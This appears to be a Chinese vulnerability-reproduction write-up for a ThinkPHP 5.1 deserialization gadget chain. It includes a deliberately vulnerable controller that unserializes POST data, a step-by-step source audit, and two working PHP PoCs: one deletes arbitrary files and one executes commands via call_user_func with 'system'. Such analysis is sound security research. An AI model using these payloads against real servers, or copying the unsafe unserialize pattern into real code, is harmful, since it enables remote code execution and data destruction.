thinkphp5.1 反序列化复现
环境搭建
composer create-project topthink/think=5.1.* tp5.1
运行
php think run
在application/index/controller下创建A.php (注意大写)
<?php
namespace app\index\controller;
class A
{
public function unserialize()
{
if (isset($_POST['data'])) {
$data = input('post.data');
unserialize(base64_decode($data));
} else {
highlight_file(__FILE__);
}
}
}
然后在route下的route.php中添加
Route::rule('unserialize', 'a/unserialize','GETPOST');
漏洞复现
入口点是think\process\pipes的windows类的__destruct: 跟进close
没有什么可利用的 跟进removeFiles
发现unlink 因为$this->files可控所以这里有任意文件删除 poc
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
任意删除不是目的 继续审计 在上边filename的类型是字符串型,如果filename是一个对象的话 被当作字符串类型会调用这个对象的toString()方法 查找一下合适的toString()方法 conversion下的__toString()
跟进toJson()
跟进toArray()
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
重点 $relation可控调用一个方法 如果这个方法不存在会调用call() 前边没有return暂时先跳过 看这个if $this->append可控所有可以进入这个if
这些都可控
看getRelation主要是想让返回空 才能进入关键地方
因为name可控 所以很容易返回为空
接下来看getAttr
继续看getData
name值是可控的 this->data也是可控的 返回值就是可控的 那么$relation=$this->data[$key] $relation就是可控的 $name是$this->append的键值所以也是可控的 那么$relation->visible($name)也是可控的 一种利用方式是找某个类中具有visible方法 另一种是找call()方法 一般call方法都存在call_user_func
需要注意的是$relation->visible($name)是在Conversion中getAttr()是在Attribute中,这两个都是trait类型而不是class 自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,如果要使用这两个要找到同时用use将这两个trait型的引入进去的 利用正则找一下
Attribute(.*\n)+(.*)Conversion
但是Model是抽象类不能实例化 找一个继承这个抽象类的
用Pivot 第一种找存在visible方法的类 没有可利用的 然后找合适的call方法 找到一个request中的call()
因为存在array_unshift在$args前插入了$this导致call_user_func_array调用函数的第一个参数不可控 $this->hook可控 可以设置
$hook= {“visable”=>”任意method”}
变成了
call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->$func($this,$argv)
可以回调任意函数
这里需要注意到一个方法filterValue
thinkphp 大多数rec都来自这里
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
存在call_user_func 但是这里两个参数都不可控 这里就又用到了这个类中的另一个方法input方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
重点是这里 利用array_walk_recursive调用filterValue方法 $filter是通过$this->getFilter得到的
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
这里参数$filter==””并不==null 所以这里的is_null($filter)返回的是flase 然后进入else
$filter = $filter ?: $this->filter;
因为$filter为空 所以 $filter = $this->filter; 所以$filter就是可控的 然后经过$filter = explode(‘,’, $filter);操作 $filter变成了数组 $filter[] = $default;这里是给$filter数组添加了一个数据$default $filter是上一步filterValue方法中call_user_func($filter, $value)的回调函数 这里回调函数就可以控制了 但是value即input中的$data仍然不可控 找一下其他地方调用input的方法
param方法
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
最后这里
$this->input($this->param, $name, $default, $filter);
input的第一个参数为$this->param等于前边的
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
这里是获取到参数的值拼接上去 也可以直接构造$this->param 因为input中的 array_walk_recursive是循环调用 把参数都带进去执行一边 但是把命令放到请求参数上边可以动态执行命令 $this->get(false)是获取刚开始的get参数 然后拼接起来就是get参数的值 然后调用input第一个参数可控 但是$name是不可控的$name的值是 从这里的args得到的 但是 args前边拼接了this是个对象 所以在
$this->input($this->param, $name, $default, $filter);
这里调用input时name是个对象 就会导致zh这里出错
所以下一步是找个可以控制name的方法 找到了isAjax方法 这里调用了param方法并且参数是可控的 且param的第一个参数是name所以name就是可控的 然后就是rce了
流程
class Windows--->__destruct()
class Windows--->$this->removeFiles()
trait Conversion--->__toString()
trait Conversion--->$this->toJson()
trait Conversion--->$this->toArray()
class Request--->__call()
class Request--->isAjax()
class Request--->$this->param()
class Request--->$this->input()
class Request--->filterValue()
call_user_func()
poc
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=array(
'autumn'=>new Request()
);
$this->append=array(
'autumn'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
class Request{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
public function __construct()
{
$this->hook['visible']=[$this,'isAjax'];
$this->filter='system';
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
调试跟一下 是个对象 作为字符串时调用__toString()
append不为空 进入此if $this->getRelation返回空进入if
进入getAttr name值为autumn
进入getData
返回的是$this-data[‘autumn’]为request对象 进入__call()
call_user_func_array调用isAjax方法
调用param方法 且第一个参数为空 即param方法的$name为空
进入get方法且get方法第一个参数为flase即get方法的name为flase $this->get的值为whoami 进入input方法 name为flase data为whoami
会返回data也就是whoami 进入route方法
返回空 再到param中
$this->param的值为whoami name的值为空 作为input方法的参数调用input方法 进入input方法
input方法中进入$this->getFilter获取Filter值为system
然后经过array_walk_recursive调用filterValue方法 第一个参数为$data=whoami 第二个参数是$filter=system
call_user_func调用system函数参数为whoami